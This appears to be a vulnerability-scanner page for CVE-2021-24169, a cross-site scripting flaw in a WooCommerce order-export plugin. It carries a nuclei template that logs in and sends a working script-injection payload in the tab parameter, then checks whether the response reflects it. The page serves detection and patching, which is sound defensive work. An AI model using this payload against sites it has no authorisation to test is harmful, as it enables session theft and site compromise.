WordPress Advanced Order Export For WooCommerce <3.1.8 - Authenticated Cross-Site Scripting

mediumseverity

6.1CVSS score

10.3%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress Advanced Order Export For WooCommerce plugin before 3.1.8 contains an authenticated cross-site scripting vulnerability via the tab parameter in the admin panel. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Authenticated users can execute arbitrary scripts on the affected WordPress site, leading to potential data theft, defacement, or further compromise.

Fix

Fixed in version 3.1.8.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=wc-order-export&tab=</script><script>alert(document.domain)</script>
Positive when: status_code_2 == 200 and contains(body_2, "<script>alert(document.domain)</script>") and contains(body_2, "woo-order-export-lite")

Run it with nuclei: nuclei -id CVE-2021-24169 -u <target>

The full check

id: CVE-2021-24169

info:
  name: WordPress Advanced Order Export For WooCommerce <3.1.8 - Authenticated Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Advanced Order Export For WooCommerce plugin before 3.1.8 contains an authenticated cross-site scripting vulnerability via the tab parameter in the admin panel. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Authenticated users can execute arbitrary scripts on the affected WordPress site, leading to potential data theft, defacement, or further compromise.
  remediation: Fixed in version 3.1.8.
  reference:
    - https://wpscan.com/vulnerability/09681a6c-57b8-4448-982a-fe8d28c87fc3
    - https://www.exploit-db.com/exploits/50324
    - https://wordpress.org/plugins/woo-order-export-lite/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24169
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24169
    cwe-id: CWE-79
    epss-score: 0.10348
    epss-percentile: 0.9575
    cpe: cpe:2.3:a:algolplus:advanced_order_export:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: algolplus
    product: advanced_order_export
    framework: wordpress
  tags: cve2021,cve,wordpress,authenticated,wpscan,xss,wp-plugin,wp,woo-order-export-lite,edb,algolplus,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=wc-order-export&tab=</script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<script>alert(document.domain)</script>")'
          - 'contains(body_2, "woo-order-export-lite")'
        condition: and

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